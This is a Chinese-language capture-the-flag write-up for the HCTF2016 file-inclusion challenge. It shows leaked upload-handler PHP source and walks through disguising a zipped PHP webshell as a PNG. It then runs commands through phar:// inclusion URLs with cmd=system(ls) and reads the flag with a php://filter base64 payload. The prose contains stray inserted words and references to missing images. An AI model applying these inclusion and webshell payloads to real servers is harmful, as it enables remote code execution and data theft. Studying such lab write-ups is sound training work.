目录遍历复现(HCTF2016)

项目地址:https://github.com/Heart-Sky/HCTF2016-LFIphp

1.收集题目信息

题目上传图片,先简单抓包html

发现包中URL进行了两次变化:前端

 

2.分析

结合上面的抓包,内容联想是不是文件包含题目git

首先猜想github

?fp=show.php

返回结果同样,包含失败web

尝试修改成shell

?fp=./show

返回数据包中出现重定向,说明存在文件spa

这样一来能够肯定的是题目考点是文件包含3d

 

3.读取源码

逐个尝试code

最后base64解密获得./show的源码:

<?php  
$imagekey = $_GET['imagekey'];
if(empty($imagekey))
{
    echo "<script>location.href='home.php'</script>";
    exit;
}


?>
<div class="alert alert-success" role="alert">
    上传成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">点此查看</a>
</div>

同理发现./upload访问后也重定向

包含得源码

<?php  
include 'function.php';
if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name']))
{    
    $name = $_FILES['image']['tmp_name'];
    $type = $_FILES['image']['type'];
    $size = $_FILES['image']['size'];

    if(!is_uploaded_file($name))
    {
        ?>
        <div class="alert alert-danger" role="alert">图片上传失败,请从新上传</div>
        <?php
            exit;
    }    

    if($type !== 'image/png')
    {
        ?>
        <div class="alert alert-danger" role="alert">只能上传PNG图片</div>
        <?php
            exit;
    }     

    if($size > 10240)
    {
        ?>
        <div class="alert alert-danger" role="alert">图片大小超过10KB</div>
        <?php
            exit;    
    }

    $imagekey = create_imagekey();
    move_uploaded_file($name,"uploads/$imagekey.png");

    echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>

分析源码能够看见,题目要求只能上传png后缀图片,且大小不超过10KB。对比一下本身写的图片马,确定都是大于10KB没法上传的。

 

4.伪协议的利用

PHP中的ZIP伪协议能够读取调用压缩包中的文件,zip://

事先准备好php的webshell,压缩成zip,上传绕过前端的验证

错误的绕过:

修改了文件类型,解析的时候会出问题

正确的绕过:压缩后修改后缀名,参考:如何假装压缩文件为图片

 

访问的图片URL:

详细包含示例:

#号后面是压缩包里的文件1.php,读取的时候只有文件名1,不须要后缀(上面为了便于理解加了.php)

尝试包含可是zip没法使用,就替换成相似的phar://

http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();

http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);

看到目录下的flag文件,直接源码包含

http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9

获得

Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo=


Congratulations,flag is here,and then?
<?php
//hctf{Th1s_1s_e4sY_1s_n0T_1t?}
?>
相关文章
相关标签/搜索